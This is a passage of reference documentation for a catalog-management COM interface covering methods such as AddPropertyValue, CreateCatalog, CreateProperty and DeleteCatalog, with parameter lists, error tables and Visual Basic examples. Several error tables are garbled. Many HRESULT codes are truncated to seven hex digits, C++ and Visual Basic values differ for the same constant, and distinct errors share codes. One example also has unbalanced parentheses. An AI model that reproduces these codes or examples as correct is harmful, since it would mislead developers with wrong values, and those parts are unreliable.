[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_ATTRIBUTE | [C++] 0x8898011 [Visual Basic] &H8898017 | The attribute name you specified is invalid. Attribute names cannot be blank and cannot exceed 36 characters. Attribute names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C++] 0x8898007 [Visual Basic] &H8898004 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x8898004 [Visual Basic] &H8898000 | The length specified for this property is not between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C++] 0x889800A [Visual Basic] &H8898006 | The enumeration or filename data types cannot be used for creating property attributes.
E_CAT_INBUILT_PROPERTY | [C++] 0x8898003 [Visual Basic] &H889800E | The property name you specified is used as a Catalog Management Inbuilt property name.
E_CAT_BUILTIN_ATTRIBUTE | [C++] 0x889800A [Visual Basic] &H8898007 | The property attribute that you specified is a built-in attribute and hence cannot be added or removed from the catalog system.
E_CAT_INVALID_DATATYPE | [C++] 0x8898007 [Visual Basic] &H8898004 | The datatype you specified is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_MAX_ATTRIBUTES | [C++] 0x8898011 [Visual Basic] &H8898018 | You have exceeded the maximum limit of 100 attributes that can be created.
E_CAT_ATTRIBUTE_EXISTS | [C++] 0x8898010 [Visual Basic] &H889801F | The property Attribute that you specified already exists.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The varMaxLength parameter applies only when the eDataType parameter equals cscString. The minimum value is 1 and the maximum value is 4000. The varMaxLength parameter is ignored for all other data types.

Each catalog system is limited to 100 attributes.

Property attribute names, and therefore the strAttrName parameter, are limited to a maximum length of 36 characters, and cannot contain any of the following characters:

  • Period (.)
  • Comma (,)
  • Double quote (")
  • Left square bracket ([)
  • Right square bracket (])

The following table shows the values of the CatalogDataTypeEnum enumeration that are valid for this method, their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server money data type.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddPropertyAttribute("DisplayType", cscString)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object


ICatalogManager3::AddPropertyValue Method [C++]

CatalogManager.AddPropertyValue Method [Visual Basic]

Use this method to add a value to the list of defined values for the specified enumeration.

Definition

[C++]
HRESULT ICatalogManager3::AddPropertyValue(
  BSTR strPropertyName,
  BSTR strLegalValue
  BSTR strLang
);
[Visual Basic]
Sub AddPropertyValue(
  strPropertyName As String,
  strLegalValue As String
  Optional strLang As String
)

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the enumeration property for which a new value will be defined.
strPropertyName [Visual Basic]
A String that contains the name of the enumeration property for which a new value will be defined.
strLegalValue [C++]
[in] A BSTR that contains the new value.
strLegalValue [Visual Basic]
A String that contains the new value.
strLang [C++]
[in, optional] A BSTR that contains the culture name. The language culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLang [Visual Basic]
A String that contains the culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_PARAMETER | [C++] 0x889800B [Visual Basic] &H8898006 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A [Visual Basic] &H8898002 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_ENUMERATED_VALUE | [C++] 0x889800E [Visual Basic] &H8898009 | The value you specified for the enumerated property exceeds 128 characters
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009 [Visual Basic] &H889800E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters
E_CAT_PROP_DOESNT_EXIST | [C++] 0x8898000 [Visual Basic] &H8898005 | The property name you specified does not exist.
E_CAT_PROP_NOT_ENUM | [C++] 0x8898000 [Visual Basic] &H8898007 | The property you specified is not a cscEnumeration data-type. This operation can only be performed on cscEnumeration data types.
E_CAT_VALUE_ALREADY_ADDED | [C++] 0x8898000 [Visual Basic] &H8898008 | The enumerated value you specified is already present in the list for this property.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The AddPropertyValue method is used only for properties whose data type is cscEnumeration.

This method adds a new value to the list of defined values for an enumeration property. Any attempts by a client to set this property to a value other than one of the legal values will result in an error. This method is useful for automatic validation against properties that only have a small, fixed set of values. For example, a Color property may have red, green, and blue as the only defined values.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.AddPropertyValue "color", "Blue"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::GetPropertyValues

[Visual Basic] CatalogManager.GetPropertyValues

[C++] ICatalogManager3::RemovePropertyValue

[Visual Basic] CatalogManager.RemovePropertyValue

[C++] Table of Language Culture Names, Codes, and ISO Values

[Visual Basic] Table of Language Culture Names, Codes, and ISO Values


ICatalogManager3::CreateCatalog Method [C++]

CatalogManager.CreateCatalog Method [Visual Basic]

Use this method to create a new catalog.

Definition

[C++]
HRESULT ICatalogManager3::CreateCatalog(
  BSTR strCatalogName,
  BSTR strProductID,
  VARIANT strProductVariantID,
  VARIANT lcidLocale,
  VARIANT strCurrency,
  VARIANT strWeightMeasure,
  VARIANT dtStartDate,
  VARIANT dtEndDate,
  VARIANT vrDefaultLanguage,
  VARIANT vrReportingLanguage,
  VARIANT_BOOL fVirtualCatalog,
  IProductCatalog3** ppNewCatalog
);
[Visual Basic]
Function CreateCatalog(
  strCatalogName As String,
  Optional strProductID As String,
  Optional strProductVariantID As Variant,
  Optional lcidLocale As Variant,
  Optional strCurrency As Variant,
  Optional strWeightMeasure As Variant,
  Optional dtStartDate As Variant,
  Optional dtEndDate As Variant
  Optional vrDefaultLanguage As Variant,
  Optional vrReportingLanguage As Variant,
  Optional fVirtualCatalog As Boolean
) As ProductCatalog

Parameters

strCatalogName [C++]
[in] A BSTR that contains the name of the catalog to be created. See the Remarks section for limitations on this parameter.
strCatalogName [Visual Basic]
A String that contains the name of the catalog to be created. See the Remarks section for limitations on this parameter.
strProductID [C++]
[in, optional] A BSTR that contains the product ID property. This parameter is optional when creating a base Catalog object, and ignored when creating a virtual Catalog object.
strProductID [Visual Basic]
A String that contains the product ID property. This parameter is optional when creating a base Catalog object, and ignored when creating a virtual Catalog object
strProductVariantID [C++]
[in, optional] A VARIANT that contains the product variant ID property. This parameter is optional when creating a base Catalog object.
strProductVariantID [Visual Basic]
A Variant that contains the product variant ID property. This parameter is optional when creating a base Catalog object.
lcidLocale [C++]
[in, optional] A VARIANT that contains the locale ID (LCID) of the catalog to be created.
lcidLocale [Visual Basic]
A Variant that contains the locale ID (LCID) of the catalog to be created.
strCurrency [C++]
[in, optional] A VARIANT that contains the currency type of the catalog to be created.
strCurrency [Visual Basic]
A Variant that contains the currency type of the catalog to be created.
strWeightMeasure [C++]
[in, optional] A VARIANT that contains the unit of weight or measure of the catalog to be created.
strWeightMeasure [Visual Basic]
A Variant that contains the unit of weight or measure of the catalog to be created.
dtStartDate [C++]
[in, optional] A VARIANT of subtype DATE that contains the start date.
dtStartDate [Visual Basic]
A Variant of subtype DATE that contains the start date.
dtEndDate [C++]
[in, optional] A VARIANT of subtype DATE that contains the end date.
dtEndDate [Visual Basic]
A Variant of subtype DATE that contains the end date.
vrDefaultLanguage [C++]
[in, optional] A VARIANT that contains the default culture name. The default value is the system culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
vrDefaultLanguage [Visual Basic]
A Variant that contains the ISO 639+1 default culture name. The default value is the system default culture name. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
vrReportingLanguage [C++]
[in, optional] A VARIANT that contains the reporting culture name. If not supplied, the default value of vrReportingLanguage is set to the value of the vrDefaultLanguage parameter.
vrReportingLanguage [Visual Basic]
A Variant that that contains the reporting culture name. If not supplied, the default value of vrReportingLanguage is set to the value of the vrDefaultLanguage parameter.
fVirtualCatalog [C++]
[in, optional, default value (0)] A VARIANT_BOOL that specifies whether to create a virtual Catalog object. A value of True specifies create a virtual Catalog object. A value of False specifies create a base Catalog object.
fVirtualCatalog [Visual Basic]
A Boolean that specifies whether to create a virtual Catalog object. A value of True specifies create a virtual Catalog object. A value of False specifies create a base Catalog object. The default value is False.
ppNewCatalog [C++]
[out, retval] A pointer used to return the IProductCatalog3 interface of the new catalog.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns the ProductCatalog object that was created.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The catalog name you specified is invalid. The strCatalogNames parameter cannot be blank.
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The catalog name you specified exceeds the maximum limit of 85 characters.
E_CAT_CHARACTER_NOT_ALLOWED | [C++] 0x8898003D [Visual Basic] &H8898003D | The catalog name you specified has one of the following nine reserved characters: " [ ] , ' ( )#. You should not use these characters.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009E [Visual Basic] &H8898009E | The value you specified for the Language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The property name you specified is invalid. Property names cannot be blank and cannot exceed 100 characters. Property names cannot begin with a digit and cannot contain one of the following five reserved characters: .,"[]
E_CAT_PRODID_DOESNT_EXIST | [C++] 0x88980010 [Visual Basic] &H88980010 | The ProductID you requested to use for this Catalog does not exist in the Catalog System. You must first create the Property, after which you may create the Catalog that is based on it.
E_CAT_VARIANTID_DOESNT_EXIST | [C++] 0x88980061 [Visual Basic] &H88980061 | The VariantID you requested to use for this Catalog does not exist in the Catalog System. You must first create the Property, after which you may create the Catalog that is based on it.
E_CAT_PRODUCTID_MULTILINGUAL | [C++] 0x889800E2 [Visual Basic] &H889800E2 | The Property that you specified to be used as the ProductID is a Multilingual property. A multilingual property cannot be used as a ProductID for a catalog
E_CAT_INVALID_DATATYPE_FOR_PRODUCTID | [C++] 0x88980075 [Visual Basic] &H88980075 | The Property that you specified for the ProductID has a text, enumeration, filepath, float, money, datetime or boolean data type. A property with any of these data type cannot be used as a ProductID for a catalog
E_CAT_CATALOG_EXISTS | [C++] 0x88980001 [Visual Basic] &H88980001 | The Catalog name you specified already exists.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppNewCatalog parameter contains valid data only if the method completes successfully.

[Visual Basic] The ProductCatalog object returned by this method is valid only if it was created successfully.

If variants are to be used in a base catalog, you must provide a property name in the optional strProductVariantID parameter. If this parameter is not specified upon creation of the base catalog, any attempt to create a product variant in that catalog will fail. This does not apply to virtual catalogs.

If the strProductID or strProductVariantID parameters are of type cscString they are limited to a length of 256 characters. The strProductID or strProductVariantID parameters may not be multilingual properties or properties of type cscText.

Only properties of the type string, integer , biginteger and double can be used to create ProductIds and VariantIds.

The returned ProductCatalog object will be pre-initialized and ready for use.

If the CatalogManager object is initialized by setting the number of full-text catalogs to create to zero, then the full-text catalog will not be created for this catalog. You can later create a full-text catalog for this catalog by calling the RegenerateFreeTextSearchIndex method of the ProductCatalog object

This method cannot be called in a transacted object. This method involves the creation, deletion, or updating of free text indexes. SQL Server does not allow these operations in a transaction.

Catalog names, and therefore the strCatalogName parameter, are limited to 85 characters in length and cannot contain any of the following characters:

  • Pound sign (#)
  • Double quote (")
  • Single quote (')
  • Comma (,)
  • Left square bracket ([)
  • Right square bracket (])
  • Left bracket (()
  • Right bracket ())
  • Period (.)

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'This example creates a base catalog
Set oNewBaseCatalog = myCatalogManager.CreateCatalog _
"BCatalog", "ItemNum", "SKU")

'This example creates a virtual catalog.
'It will only be active for a limited time and
'it has a specified default language
'but reports in the system language.

'vStDate is a variant containing the
'   date the catalog will become active.
'vEndDate is a variant containing the
'   date the catalog wiil become inactive.
'vLang is a variant containing a
'   culture name.

Set oNewVirtualCatalog = myCatalogManager.CreateCatalog _
("VCatalog", , , , , , vStDate, vEndDate, vLang, , True)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::DeleteCatalog

[Visual Basic] CatalogManager.DeleteCatalog

[C++] ICatalogManager3::GetCatalog

[Visual Basic] CatalogManager.GetCatalog


ICatalogManager3::CreateCategoryDefinition Method [C++]

CatalogManager.CreateCategoryDefinition Method [Visual Basic]

Use this method to create a new category definition.

Definition

[C++]
HRESULT ICatalogManager3::CreateCategoryDefinition(
  BSTR strDefinitionName
);
[Visual Basic]
Sub CreateCategoryDefinition(
  strDefinitionName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the new category definition.
strDefinitionName [Visual Basic]
A String that contains the name of the new category definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C++] 0x8898000 [Visual Basic] &H889800A | The Definition you specified already exists.
E_CAT_DEFN_NAME_EXISTS_AS_PRODUCT | [C++] 0x8898004 [Visual Basic] &H8898004 | A product definition with the name you specified already exists. Definition names should be unique across Category and Product definitions.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Category and product definition names must be globally unique across the entire Product Catalog System. It is not possible to have a category definition and a product definition with the same name.

The initial definition is empty when it is created. To add individual properties to the definition, use the AddDefinitionProperty method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.CreateCategoryDefinition "Housewares"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::CreateProductDefinition

[Visual Basic] CatalogManager.CreateProductDefinition

[C++] ICatalogManager3::DeleteDefinition

[Visual Basic] CatalogManager.DeleteDefinition


ICatalogManager3::CreateProductDefinition Method [C++]

CatalogManager.CreateProductDefinition Method [Visual Basic]

Use this method to create a new product definition.

Definition

[C++]
HRESULT ICatalogManager3::CreateProductDefinition(
  BSTR strDefinitionName
);
[Visual Basic]
Sub CreateProductDefinition(
  strDefinitionName As String
)

Parameters

strDefinitionName [C++]
[in] A BSTR that contains the name of the new product definition.
strDefinitionName [Visual Basic]
A String that contains the name of the new product definition.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B [Visual Basic] &H8898005 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_DEFINITION_LENGTH | [C++] 0x889800E [Visual Basic] &H889800A | The definition name that you specified is invalid. Definition names should be between 1 and 128 characters in length.
E_CAT_DEFINITION_EXISTS | [C++] 0x8898000 [Visual Basic] &H889800A | The definition you specified already exists.
E_CAT_DEFN_NAME_EXISTS_AS_CATEGORY | [C++] 0x8898004 [Visual Basic] &H8898003 | A category definition with the name you specified already exists. Definition names should be unique across Category and Product definitions.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Category and product definition names must be globally unique across the entire Product Catalog System. It is not possible to have a category definition and a product definition with the same name.

The initial definition is empty when it is created. To add individual properties to the definition, use the AddDefinitionProperty or AddDefinitionVariantProperty method.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myCatalogManager.CreateProductDefinition "Microwave"

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::AddDefinitionProperty

[Visual Basic] CatalogManager.AddDefinitionProperty

[C++] ICatalogManager3::AddDefinitionVariantProperty

[Visual Basic] CatalogManager.AddDefinitionVariantProperty

[C++] ICatalogManager3::CreateCategoryDefinition

[Visual Basic] CatalogManager.CreateCategoryDefinition

[C++] ICatalogManager3::DeleteDefinition

[Visual Basic] CatalogManager.DeleteDefinition


ICatalogManager3::CreateProperty Method [C++]

CatalogManager.CreateProperty Method [Visual Basic]

Use this method to create a new property.

Definition

[C++]
HRESULT ICatalogManager3::CreateProperty(
  BSTR strPropertyName,
  CatalogDataTypeEnum eDataType,
  VARIANT varMaxLength,
  _Recordset** ppRSProperty
);
[Visual Basic]
Function CreateProperty(
  strPropertyName As String,
  eDataType As CatalogDataTypeEnum,
  Optional varMaxLength As Variant
) As Recordset

Parameters

strPropertyName [C++]
[in] A BSTR that contains the name of the new property. This parameter cannot begin with a digit or contain a period (.); it can only contain characters that are acceptable in XML tags.
strPropertyName [Visual Basic]
A String that contains the name of the new property. This parameter cannot begin with a digit or contain a period (.); it can only contain characters that are acceptable in XML tags.
eDataType [C++]
[in] An enumeration value that specifies the data type of the new property. See the Remarks section for valid values.
eDataType [Visual Basic]
An enumeration value that specifies the data type of the new property. See the Remarks section for valid values.
varMaxLength [C++]
[in, optional] A VARIANT that contains the maximum length for the property. Even though this parameter is an optional value it must be given if the data type of the property is cscString. Properties of data type cscEnumeration have a fixed default value of 128 characters, which cannot be changed. Properties of data type cscFilePath have a fixed default value of 256 characters, which cannot be changed.
varMaxLength [Visual Basic]
A Variant that contains the maximum length for the property. Even though this parameter is an optional value it must be given if the data type of the property is cscString. Properties of data type cscEnumeration have a fixed default value of 128 characters, which cannot be changed. Properties of data type cscFilePath have a fixed default value of 256 characters, which cannot be changed.
ppRSProperty [C++]
[out, retval] A pointer used to return a Recordset object that will contain the new property.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the property attributes.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Name | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_PROPERTY_NAME | [C++] 0x889800A2 [Visual Basic] &H889800A2 | The PropertyName you specified is invalid. property Names cannot be blank and cannot exceed 100 characters. property names cannot begin with a digit and cannot contain one of the following five reserved characters .,"[]
E_CAT_INVALID_DATATYPE | [C++] 0x88980074 [Visual Basic] &H88980074 | The datatype you specified is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_COLUMN_LENGTH | [C++] 0x88980040 [Visual Basic] &H88980040 | The length specified for this property does not lie between 1 and 4000.
E_CAT_INVALID_DATATYPE_FOR_ATTRIBUTE | [C++] 0x889800A6 [Visual Basic] &H889800A6 | The enumeration or filename data types cannot be used for creating property attributes.
E_CAT_INBUILT_PROPERTY | [C++] 0x8898003E [Visual Basic] &H8898003E | The property name you specified is used as a Catalog Management Inbuilt property name.
E_CAT_PROP_EXISTS | [C++] 0x88980003 [Visual Basic] &H88980003 | The property name you specified already exists.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProperty parameter contains valid data only if the property was accessed successfully.

[Visual Basic] The Recordset object returned by this property is valid only if it is accessed successfully.

Property names, and therefore the strPropertyName parameter, are limited to a maximum length of 100 characters.

[C++] This method returns a single row Recordset object containing the newly created property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

[Visual Basic] This method returns a single row Recordset object containing the newly created property. For more information about the fields in this Recordset object, see PropertyAttribute Recordset.

The following table shows the values of the CatalogDataTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscInteger | 0 | Indicates an exact numeric value that holds whole numbers from –2[31] (-2,147,483,648) <= n <= 2[31] –1 (2,147,483,647).
cscBigInteger | 1 | Indicates an exact numeric value with precision 19 (if signed) or 20 (if unsigned), and scale 0 (signed: –2[63] <= n <= 2[63] – 1, unsigned: 0 <= n <= 2[64] – 1) [3], [9].
cscFloat | 2 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscDouble | 3 | Indicates a positive or negative floating-point number. The range of positive values is approximately 2.23E –308 through 1.79E 308, and the range of negative values is approximately –2.23E –308 through –1.79E 308.
cscBoolean | 4 | Indicates a Boolean (bit), holds either a 1 or 0. Integer values other than 1 or 0 are accepted but are always interpreted as 1.
cscString | 5 | Indicates a variable-length character string with a maximum string length of 4000 characters.
cscDateTime | 6 | Indicates a Microsoft SQL Server DateTime data type.
cscCurrency | 7 | Indicates a Microsoft SQL Server money data type.
cscFilePath | 8 | Indicates a String that holds a file path.
cscEnumeration | 9 | Indicates an Integer associated with a defined constant.
cscText | 10 | Indicates a Microsoft SQL Server Text data type.
cscInvalid | -1 | Reserved for future use.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'varMaxLength is a Variant
'cscString is an enum of type cscEnumeration
varMaxLength = 128
Set rsNewPropAttribs = myCatalogManager.CreateProperty("Format", cscString, varMaxLength)

See Also

[C++] CatalogManager Object

[Visual Basic] CatalogManager Object

[C++] ICatalogManager3::DeleteProperty

[Visual Basic] CatalogManager.DeleteProperty

[C++] ICatalogManager3::GetPropertyAttributes

[Visual Basic] CatalogManager.GetPropertyAttributes

[C++] ICatalogManager3::SetPropertyAttributes

[Visual Basic] CatalogManager.SetPropertyAttributes


ICatalogManager3::DeleteCatalog Method [C++]

CatalogManager.DeleteCatalog Method [Visual Basic]

Use this method to delete a catalog from the Product Catalog System.

Definition

[C++]
HRESULT ICatalogManager3::DeleteCatalog(
  BSTR strCatalogName
);
[Visual Basic]
Sub DeleteCatalog(
  strCatalogName As String
)

Parameters

strCatalogName [C++]
[in] A BSTR that contains the name of the catalog to be deleted.
strCatalogName [Visual Basic]
A String that contains the name of the catalog to be deleted.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATMGR_NOT_INITIALIZED | [C++] 0x889800B5 [Visual Basic] &H889800B5 | The CatalogManager object has not been initialized. The CatalogManager object should be initialized before calling this method.
E_CAT_INVALID_CATALOGNAME | [C++] 0x88980063 [Visual Basic] &H88980063 | The Catalog Name you specified is invalid. Catalog names cannot be blank
E_CAT_INVALID_CATALOG_NAME_LENGTH | [C++] 0x88980042 [Visual Basic] &H88980042 | The Catalog name you specified exceeds the maximum limit of 85 characters.
